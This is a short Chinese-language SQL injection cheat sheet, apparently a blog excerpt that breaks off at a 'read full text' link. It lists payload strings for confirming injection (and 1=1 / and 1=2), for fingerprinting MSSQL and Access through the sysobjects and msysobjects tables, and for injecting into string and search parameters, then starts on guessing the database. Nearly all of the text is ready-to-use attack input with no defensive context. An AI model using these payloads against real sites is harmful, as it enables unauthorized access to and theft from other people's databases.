1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符’and [查询条件] and ”=’
4.搜索时没过滤参数的’and [查询条件] and ‘%25’=’
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库;and (select Co...阅读全文